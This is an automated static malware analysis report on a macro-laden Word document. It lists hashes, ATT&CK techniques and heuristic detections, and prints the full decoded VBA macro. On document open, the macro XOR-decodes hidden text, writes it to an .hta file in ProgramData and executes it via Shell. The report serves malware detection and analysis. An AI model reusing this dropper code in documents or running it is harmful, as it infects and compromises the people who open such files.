Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bafeae4cc06f99cd…

MALICIOUS

Office (OOXML)

49.7 KB Created: 2021-06-15 10:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 9a42b5fa369a4650657746827fb42e23 SHA-1: 00925f051c531dbffb68c252182a8a1ee8ca6907 SHA-256: bafeae4cc06f99cd2736cac0296a12b70a386dc6e949787e26e76aa8d511739c
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The 'autoopen' macro triggers the execution of the 'sinWindowSz' function, which uses the 'Shell' function to execute a dynamically constructed path. This path is built using the 'cSinSel' function, which concatenates 'c:\program' with 'data\borderIndex.ht', resulting in the creation of 'c:\programdata\borderIndex.ht'. The 'requestSinGlob' function decrypts a string using XOR with a key of 10, and this decrypted string is then written to the constructed file path. The presence of the 'Shell()' call in VBA and the auto-execution of the macro indicate a malicious intent to download and execute a second-stage payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1262 bytes
SHA-256: e03b7b744935c9d5f1711a4956f6fa1dfc545dc303a2010c57030adf9d36bc2a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ctrlTableLoad"
Function sinWindowSz()
sinWindowSz = Shell(cSinSel("c:\\windows\\explorer "), vbNormalFocus)
End Function

Attribute VB_Name = "objectProcedureSz"
Sub autoopen()
viewLnkLocal
reqRemoveStruct = sinWindowSz
End Sub
Function cSinSel(genClass, Optional storageOptionIterator = "c:\program", Optional collectTextboxProcedure = "a")
cSinSel = genClass & storageOptionIterator & "data\borderIndex.ht" & collectTextboxProcedure
End Function
Function datConstIterator(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 10)
Next
datConstIterator = out
End Function

Attribute VB_Name = "databaseArrOption"
Sub viewLnkLocal()
Open cSinSel("") For Output As #1
Print #1, requestSinGlob
Close #1
End Sub
Function requestSinGlob()
requestSinGlob = datConstIterator(Split(constByte, "-"))
End Function
Function constByte()
constByte = ActiveDocument.Range.Text
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: dbc8cda37835d0f18687bb87c03d854d47f8b7e43317bf55866e2691e99005b1

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